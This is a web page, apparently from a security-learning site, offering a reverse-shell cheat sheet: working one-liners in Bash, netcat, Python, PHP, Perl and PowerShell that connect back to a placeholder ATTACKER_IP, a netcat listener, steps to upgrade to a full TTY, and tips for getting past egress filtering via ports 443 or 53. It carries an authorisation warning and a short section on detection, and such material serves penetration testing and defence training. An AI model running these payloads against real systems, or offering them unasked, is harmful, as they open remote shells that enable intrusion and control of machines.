HomeThe Stash

Reverse Shell Cheat Sheet

ReferenceSeptember 18, 2026

ReferenceLast verified 18 Sep 2026Linux & WindowsNo sign-up, no PDF wall

A reverse shell is a shell that connects back from a target to a listener you control — the standard way to get an interactive session through a firewall that blocks inbound connections but allows outbound ones. This is the payload collection: a working one-liner in every language you are likely to find on a box, plus how to catch it and upgrade to a proper terminal. Every command copies with one click.

These are written with ATTACKER_IP and port 4444 as placeholders — swap in your own listener address and port. Nothing here is gated behind an email or a download.

Only against systems you own or are explicitly authorised to test. Getting a shell on a machine without permission is a criminal offence in most countries, full stop. These payloads exist here for two legitimate reasons: running them against your own lab or an engagement you are scoped for, and recognising them as a defender — every pattern below is one your monitoring should catch. If you are learning, point them at a VM you built, such as your Lab 00 box.

Start your listener first

Before you fire any payload, open a listener on your machine so there is something for the shell to connect back to. Run this, then trigger the payload on the target.

nc -lvnp 4444

-l listen, -v verbose, -n no DNS, -p port. When the target connects, your terminal becomes its shell.

Bash

The most common Linux reverse shell — needs nothing but Bash, which is almost always present.

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Bash opens a TCP socket via its /dev/tcp pseudo-device and wires an interactive shell to it. If /bin/sh is really Bash, sh -i >& /dev/tcp/... works too.

Netcat

If netcat is installed with the -e option (the traditional build), this is the shortest payload there is.

nc -e /bin/sh ATTACKER_IP 4444

Most modern systems ship netcat without -e. When it is missing, a named pipe does the same job.

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f

The mkfifo pipe feeds netcat’s output back into a shell and the shell’s output back out to netcat — a two-way channel with no -e needed.

Python

Reliable and everywhere. This works on Python 3; drop the 3 for Python 2.

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/sh","-i"])'

Opens a socket, points stdin, stdout and stderr at it with dup2, then launches an interactive shell.

PHP

When you have code execution on a web server — the payload the Natas command-injection levels lead toward.

php -r '$s=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

fsockopen becomes file descriptor 3; the shell reads and writes it. If it is blocked, try $s=fsockopen(...);shell_exec("/bin/sh -i <&3 >&3 2>&3");.

Perl

Still present on a lot of older Unix boxes.

perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Same idea in Perl: connect a socket, redirect the three standard streams to it, exec a shell.

PowerShell (Windows)

The Windows equivalent — one line, no file dropped to disk.

powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($s2);$s.Write($sb,0,$sb.Length);$s.Flush()}"

Opens a TCP client back to you, reads commands, runs them with iex, and writes the output and a prompt back over the socket.

Upgrade to a fully interactive shell

The shells above are “dumb” — no tab-completion, no arrow keys, and Ctrl-C kills the whole session. On Linux, upgrade to a real TTY in three moves. First, spawn a proper PTY:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Then background the shell with Ctrl-Z and, in your own terminal, hand the raw keyboard through and bring it back:

stty raw -echo; fg

Press Enter, then set a sane terminal type so screen-based tools render:

export TERM=xterm

You now have arrow keys, tab-completion and a Ctrl-C that only interrupts the remote command instead of dropping your shell.

Questions people actually ask

Reverse shell or bind shell — which do I want? Almost always reverse. A bind shell opens a listening port on the target for you to connect to, which inbound firewall rules usually block. A reverse shell connects outward from the target to you, riding the outbound access most networks allow.

Why does my shell die the moment I get it? Usually a dumb shell and a stray Ctrl-C, or the process exiting — do the TTY upgrade above. If it never connects at all, egress filtering is blocking the outbound port; try 443 or 53, ports that are typically allowed out.

I am on the blue team — how do I catch these? Egress filtering (default-deny outbound) stops most of them cold. Beyond that, EDR flags exactly these patterns: bash -i with /dev/tcp, nc -e, an interpreter spawning /bin/sh with its file descriptors redirected to a socket. Every payload on this page is a detection opportunity.

Where these come up in the labs

The Natas 6–10 lab walks the command injection that leads to dropping one of these, and Lab 00 gives you a VM to catch one against safely.

Payloads checked against current Linux and Windows behaviour on the date shown at the top. Nothing here is behind an email form or a download. Shell one-liners break as interpreters and netcat builds change — if one no longer works where it should, tell me and I will re-check and update the date.